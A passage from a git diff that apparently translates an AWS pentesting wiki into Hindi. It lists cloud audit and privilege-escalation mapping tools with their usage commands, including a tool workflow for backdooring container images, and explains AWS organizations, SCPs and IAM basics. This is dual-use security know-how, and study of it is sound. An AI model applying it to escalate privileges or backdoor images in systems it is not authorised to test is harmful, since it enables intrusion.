जांच और एक हमलावर द्वारा संसाधन या क्रिया तक पहुंच प्राप्त करने के लिए वैकल्पिक पथों की जांच करने की अनुमति देता है। आप **privesc** पथों को खोजने के लिए उपयोग की जाने वाली **permissions** की जांच कर सकते हैं जो फ़ाइल नामों में `_edges.py` के साथ समाप्त होती हैं [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\ - It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). - +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining एक AWS IAM सुरक्षा मूल्यांकन उपकरण है जो न्यूनतम विशेषाधिकार के उल्लंघनों की पहचान करता है और एक जोखिम-प्राथमिकता वाली HTML रिपोर्ट उत्पन्न करता है।\ +यह आपको संभावित **over privileged** ग्राहक, inline और aws **policies** दिखाएगा और कौन से **principals को उन तक पहुंच है**। (यह न केवल privesc की जांच करता है बल्कि अन्य प्रकार की दिलचस्प अनुमतियों की भी जांच करता है, उपयोग करने की सिफारिश की जाती है)। ```bash # Install pip install cloudsplaining @@ -303,24 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack AWS खातों का मूल्यांकन करता है **उपडोमेन हाइजैकिंग कमजोरियों** के लिए, जो कि अलग-अलग Route53 और CloudFront कॉन्फ़िगरेशन के परिणामस्वरूप होती हैं। +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR रिपॉजिटरी की सूची -> ECR रिपॉजिटरी खींचें -> इसे बैकडोर करें -> बैकडोर की गई छवि पुश करें +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag एक उपकरण है जो **सार्वजनिक Elastic Block Storage (EBS) स्नैपशॉट्स** के माध्यम से उन रहस्यों की **खोज** करता है जो गलती से छोड़े जा सकते हैं। -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. - -### Audit - -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). +### ऑडिट +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit द्वारा Aqua एक ओपन-सोर्स प्रोजेक्ट है जिसे **क्लाउड इन्फ्रास्ट्रक्चर** खातों में **सुरक्षा जोखिमों** का पता लगाने के लिए डिज़ाइन किया गया है, जिसमें शामिल हैं: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), और GitHub (यह ShadowAdmins की तलाश नहीं करता)। ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` - -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler एक ओपन सोर्स सुरक्षा उपकरण है जो AWS सुरक्षा सर्वोत्तम प्रथाओं का आकलन, ऑडिट, घटना प्रतिक्रिया, निरंतर निगरानी, हार्डनिंग और फॉरेंसिक्स तैयारी करने के लिए उपयोग किया जाता है। ```bash # Install python3, jq and git # Install @@ -331,15 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` - -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox आपको अपरिचित क्लाउड वातावरण में स्थिति की जागरूकता प्राप्त करने में मदद करता है। यह एक ओपन-सोर्स कमांड लाइन टूल है जिसे पेनटेस्टिंग करने वालों और अन्य आक्रामक सुरक्षा पेशेवरों को क्लाउड अवसंरचना में शोषण योग्य हमले के रास्ते खोजने में मदद करने के लिए बनाया गया है। ```bash cloudfox aws --profile [profile-name] all-checks ``` - -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. - +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite एक ओपन सोर्स मल्टी-क्लाउड सुरक्षा-ऑडिटिंग उपकरण है, जो क्लाउड वातावरण की सुरक्षा स्थिति का आकलन करने में सक्षम बनाता है। ```bash # Install virtualenv -p python3 venv @@ -350,18 +329,16 @@ scout --help # Get info scout aws -p dev ``` +- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): क्लाउड सुरक्षा सूट (python2.7 का उपयोग करता है और अप्रबंधित लगता है) +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus AWS EC2 / S3 / CloudTrail / CloudWatch / KMS के लिए शक्तिशाली उपकरण है जो सर्वोत्तम हार्डनिंग प्रथाओं का उपयोग करता है (अप्रबंधित लगता है)। यह केवल सिस्टम के अंदर डिफ़ॉल्ट कॉन्फ़िगर किए गए क्रेड्स की जांच करता है। -- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. +### निरंतर ऑडिट -### Constant Audit - -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. - -## DEBUG: Capture AWS cli requests +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): क्लाउड कस्टोडियन सार्वजनिक क्लाउड खातों और संसाधनों का प्रबंधन करने के लिए एक नियम इंजन है। यह उपयोगकर्ताओं को **एक अच्छी तरह से प्रबंधित क्लाउड अवसंरचना सक्षम करने के लिए नीतियों को परिभाषित करने** की अनुमति देता है, जो सुरक्षित और लागत अनुकूलित दोनों है। यह संगठनों के पास मौजूद कई अस्थायी स्क्रिप्टों को एक हल्के और लचीले उपकरण में समेकित करता है, जिसमें एकीकृत मैट्रिक्स और रिपोर्टिंग होती है। +- [**pacbot**](https://github.com/tmobile/pacbot)**: नीति के रूप में कोड बॉट (PacBot)** एक प्लेटफ़ॉर्म है **निरंतर अनुपालन निगरानी, अनुपालन रिपोर्टिंग और सुरक्षा स्वचालन के लिए क्लाउड**। PacBot में, सुरक्षा और अनुपालन नीतियाँ कोड के रूप में लागू की जाती हैं। PacBot द्वारा खोजे गए सभी संसाधनों का इन नीतियों के खिलाफ मूल्यांकन किया जाता है ताकि नीति के अनुपालन का आकलन किया जा सके। PacBot **स्वचालित-फिक्स** ढांचा नीति उल्लंघनों का स्वतः उत्तर देने की क्षमता प्रदान करता है, पूर्व निर्धारित क्रियाएँ करके। +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert एक सर्वर रहित, **वास्तविक समय** डेटा विश्लेषण ढांचा है जो आपको **किसी भी वातावरण से डेटा को ग्रहण, विश्लेषण और अलर्ट** करने में सक्षम बनाता है, **डेटा स्रोतों और अलर्टिंग लॉजिक का उपयोग करते हुए जिसे आप परिभाषित करते हैं**। कंप्यूटर सुरक्षा टीमें घटना पहचान और प्रतिक्रिया के लिए हर दिन टेराबाइट्स लॉग डेटा को स्कैन करने के लिए StreamAlert का उपयोग करती हैं। +## DEBUG: AWS cli अनुरोधों को कैप्चर करें ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 @@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` - -## References +## संदर्भ - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 02e6e7729..c66840046 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -8,77 +8,69 @@ ### Accounts -In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. +AWS में एक **root account** है, जो आपके **organization** के लिए सभी खातों का **parent container** है। हालांकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढांचे को अलग करने के लिए **अन्य खाते बना सकते हैं**। -This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. +यह **security** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हैं), इसलिए इस तरह आप तैनाती के बीच सीमाएँ बना सकते हैं। -Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. +इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं और उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते। -- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: +- **प्रबंधन खाता (root account)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं: - - Create accounts in the organization - - Invite other existing accounts to the organization - - Remove accounts from the organization - - Manage invitations - - Apply policies to entities (roots, OUs, or accounts) within the organization - - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. - - It's possible to login as the root user using the email and password used to create this root account/organization. +- संगठन में खाते बनाएं +- संगठन में अन्य मौजूदा खातों को आमंत्रित करें +- संगठन से खातों को हटाएं +- आमंत्रण प्रबंधित करें +- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करें +- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करें। +- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन करना संभव है। - The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. - -- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. - - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). +प्रबंधन खाते के पास **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते। +- **सदस्य खाते** संगठन में बाकी सभी खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर। +- सदस्य खातों को **एक मान्य ईमेल पता** का उपयोग करना चाहिए और एक **नाम** हो सकता है, सामान्यतः वे बिलिंग का प्रबंधन नहीं कर पाएंगे (लेकिन उन्हें इसके लिए पहुँच दी जा सकती है)। ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` - ### **Organization Units** -Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. - +खातों को **Organization Units (OU)** में समूहित किया जा सकता है। इस तरह, आप उस Organization Unit के लिए **policies** बना सकते हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं। ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` - ### Service Control Policy (SCP) -A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. +एक **सेवा नियंत्रण नीति (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालता है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करता है**। -This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\ -The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). +यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\ +इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता को अवरुद्ध नहीं किया जा सकता)। > [!WARNING] -> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. +> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि एक SCP `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा। -SCP examples: +SCP उदाहरण: -- Deny the root account entirely -- Only allow specific regions -- Only allow white-listed services -- Deny GuardDuty, CloudTrail, and S3 Public Block Access from +- रूट खाते को पूरी तरह से अस्वीकार करें +- केवल विशिष्ट क्षेत्रों की अनुमति दें +- केवल श्वेतसूचीबद्ध सेवाओं की अनुमति दें +- GuardDuty, CloudTrail, और S3 सार्वजनिक ब्लॉक एक्सेस को निष्क्रिय करने से रोकें - being disabled +- सुरक्षा/घटना प्रतिक्रिया भूमिकाओं को हटाने या -- Deny security/incident response roles from being deleted or +संशोधित करने से रोकें। - modified. +- बैकअप को हटाने से रोकें। +- IAM उपयोगकर्ताओं और एक्सेस कुंजियों को बनाने से रोकें -- Deny backups from being deleted. -- Deny creating IAM users and access keys - -Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +**JSON उदाहरण** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) में खोजें ### ARN -**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: - +**Amazon Resource Name** वह **विशिष्ट नाम** है जो AWS के अंदर हर संसाधन का होता है, यह इस तरह से बना होता है: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` - Note that there are 4 partitions in AWS but only 3 ways to call them: - AWS Standard: `aws` @@ -86,246 +78,240 @@ Note that there are 4 partitions in AWS but only 3 ways to call them: - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identity and Access Management +## IAM - पहचान और पहुँच प्रबंधन -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है। -- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. -- **Access Control** - The method and process of how access is granted to a secure resource +- **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकता है। +- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या पहुँच सकती है जब इसे प्रमाणित किया गया हो। +- **पहुँच नियंत्रण** - सुरक्षित संसाधन तक पहुँच कैसे दी जाती है, इसकी विधि और प्रक्रिया। -IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. +IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कर सकता है। -### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. +जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एकल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**। -Note that a new **admin user** will have **less permissions that the root user**. +ध्यान दें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**। -From a security point of view, it's recommended to create other users and avoid using this one. +सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस एक का उपयोग करने से बचना अनुशंसित है। -### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). +एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और दो तक पहुँच कुंजी) होता है। -When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. +जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, इसे एक **उपयोगकर्ता समूह का सदस्य बनाकर** जो उचित अनुमति नीतियों से जुड़ा होता है (अनुशंसित), या **सीधे उपयोगकर्ता पर नीतियाँ संलग्न करके**। -Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))। #### CLI -- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). +- **एक्सेस कुंजी आईडी**: 20 यादृच्छिक अपरकेस अल्फ़ान्यूमेरिक वर्ण जैसे AKHDNAPO86BSHKDIRYT +- **गुप्त एक्सेस कुंजी आईडी**: 40 यादृच्छिक अपर और लोअरकेस वर्ण: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (खोई हुई गुप्त एक्सेस कुंजी आईडी को पुनः प्राप्त करना संभव नहीं है)। -Whenever you need to **change the Access Key** this is the process you should follow:\ +जब भी आपको **एक्सेस कुंजी बदलने की आवश्यकता हो** तो आपको इस प्रक्रिया का पालन करना चाहिए:\ &#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ -### MFA - Multi Factor Authentication +### MFA - मल्टी फैक्टर प्रमाणीकरण -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ -You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. +यह आपके मौजूदा तरीकों, जैसे पासवर्ड, के अतिरिक्त **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनता है।\ +आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक उपकरण** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं। -Policies with MFA conditions can be attached to the following: +MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं: -- An IAM user or group -- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic -- The trust policy of an IAM role that can be assumed by a user - -If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\ -Note that **`AssumeRole` credentials don't contain this information**. +- एक IAM उपयोगकर्ता या समूह +- एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय +- एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है +यदि आप **CLI के माध्यम से पहुँच** करना चाहते हैं एक संसाधन जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\ +ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती**। ```bash aws sts get-session-token --serial-number --token-code ``` +As [**यहां कहा गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**। -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**. +### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं के लिए नीतियों को संलग्न किया जा सकता है**, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो सकता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**। -An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. +आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह में संलग्न कर सकते हैं** ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ हैं। -You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. +यहां उपयोगकर्ता समूहों की कुछ महत्वपूर्ण विशेषताएँ हैं: -Here are some important characteristics of user groups: +- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता हो सकते हैं**, और एक **उपयोगकर्ता** **कई समूहों का सदस्य हो सकता है**। +- **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं। +- **AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा। +- AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें। -- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. -- **User groups can't be nested**; they can contain only users, not other user groups. -- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. -- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ कोई **क्रेडेंशियल्स** (पासवर्ड या एक्सेस कुंजी) नहीं होते। एक व्यक्ति के साथ विशेष रूप से जुड़े होने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा अपनाने के लिए डिज़ाइन किया गया है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका को अस्थायी रूप से** एक विशिष्ट कार्य के लिए विभिन्न अनुमतियाँ लेने के लिए अपना सकता है। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके 